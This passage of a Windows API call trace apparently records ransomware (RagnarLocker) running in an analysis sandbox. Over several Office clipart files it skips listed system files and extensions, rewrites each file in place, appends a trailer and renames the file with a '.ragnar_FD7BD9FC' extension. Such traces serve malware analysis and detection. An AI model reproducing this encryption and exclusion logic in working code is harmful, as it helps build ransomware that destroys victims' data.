lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0087.446] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.446] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0293800.WMF" | out: lpString1="J0293800.WMF") returned="J0293800.WMF" [0087.446] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF") returned=".WMF" [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="autorun.inf") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="boot.ini") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="bootfont.bin") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="bootsect.bak") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="bootmgr") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="bootmgr.efi") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="bootmgfw.efi") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="desktop.ini") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="iconcache.db") returned 1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="ntldr") returned -1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="ntuser.dat") returned -1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="ntuser.dat.log") returned -1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="ntuser.ini") returned -1 [0087.447] lstrcmpiW (lpString1="J0293800.WMF", lpString2="thumbs.db") returned -1 [0087.447] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.447] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.447] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.447] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.447] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.447] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.447] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf")) returned 0x20 [0087.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.448] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4774) returned 1 [0087.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x129d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.448] GetProcessHeap () returned 0x580000 [0087.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.448] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.449] VirtualAlloc (lpAddress=0x0, dwSize=0x12a6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.449] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12a6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12a6, lpOverlapped=0x0) returned 1 [0087.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.450] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.450] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12a6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12a6, lpOverlapped=0x0) returned 1 [0087.450] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.450] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.451] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.451] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.451] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.451] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.451] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.451] GetProcessHeap () returned 0x580000 [0087.451] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.451] CloseHandle (hObject=0xf4) returned 1 [0087.451] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" [0087.451] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.ragnar_FD7BD9FC" [0087.451] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.452] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0087.452] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.452] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0293832.WMF" | out: lpString1="J0293832.WMF") returned="J0293832.WMF" [0087.452] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF") returned=".WMF" [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="autorun.inf") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="boot.ini") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="bootfont.bin") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="bootsect.bak") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="bootmgr") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="bootmgr.efi") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="bootmgfw.efi") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="desktop.ini") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="iconcache.db") returned 1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="ntldr") returned -1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="ntuser.dat") returned -1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="ntuser.dat.log") returned -1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="ntuser.ini") returned -1 [0087.452] lstrcmpiW (lpString1="J0293832.WMF", lpString2="thumbs.db") returned -1 [0087.452] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.452] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.452] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.452] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.452] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.452] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.452] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf")) returned 0x20 [0087.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.453] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6078) returned 1 [0087.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.453] GetProcessHeap () returned 0x580000 [0087.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.453] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.455] VirtualAlloc (lpAddress=0x0, dwSize=0x17be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.455] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.455] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.455] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17be, lpOverlapped=0x0) returned 1 [0087.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.456] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17be, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.456] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17be, lpOverlapped=0x0) returned 1 [0087.456] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.456] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.456] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.456] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.456] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.456] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.456] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.456] GetProcessHeap () returned 0x580000 [0087.456] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.457] CloseHandle (hObject=0xf4) returned 1 [0087.457] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" [0087.457] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.ragnar_FD7BD9FC" [0087.457] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.457] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0087.457] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.457] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0294989.WMF" | out: lpString1="J0294989.WMF") returned="J0294989.WMF" [0087.457] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF") returned=".WMF" [0087.457] lstrcmpiW (lpString1="J0294989.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.457] lstrcmpiW (lpString1="J0294989.WMF", lpString2="autorun.inf") returned 1 [0087.457] lstrcmpiW (lpString1="J0294989.WMF", lpString2="boot.ini") returned 1 [0087.457] lstrcmpiW (lpString1="J0294989.WMF", lpString2="bootfont.bin") returned 1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="bootsect.bak") returned 1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="bootmgr") returned 1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="bootmgr.efi") returned 1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="bootmgfw.efi") returned 1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="desktop.ini") returned 1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="iconcache.db") returned 1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="ntldr") returned -1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="ntuser.dat") returned -1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="ntuser.dat.log") returned -1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="ntuser.ini") returned -1 [0087.458] lstrcmpiW (lpString1="J0294989.WMF", lpString2="thumbs.db") returned -1 [0087.458] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.458] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.458] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.458] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.458] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.458] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.458] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf")) returned 0x20 [0087.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.462] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14302) returned 1 [0087.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.462] GetProcessHeap () returned 0x580000 [0087.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.462] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.464] VirtualAlloc (lpAddress=0x0, dwSize=0x37de, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.464] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x37de, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x37de, lpOverlapped=0x0) returned 1 [0087.465] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.465] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37de, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.465] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x37de, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x37de, lpOverlapped=0x0) returned 1 [0087.465] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.465] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.465] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.466] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.466] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.466] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.466] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.466] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.466] GetProcessHeap () returned 0x580000 [0087.466] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.466] CloseHandle (hObject=0xf4) returned 1 [0087.466] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" [0087.466] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.ragnar_FD7BD9FC" [0087.466] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.467] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0087.467] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.467] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0294991.WMF" | out: lpString1="J0294991.WMF") returned="J0294991.WMF" [0087.467] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft 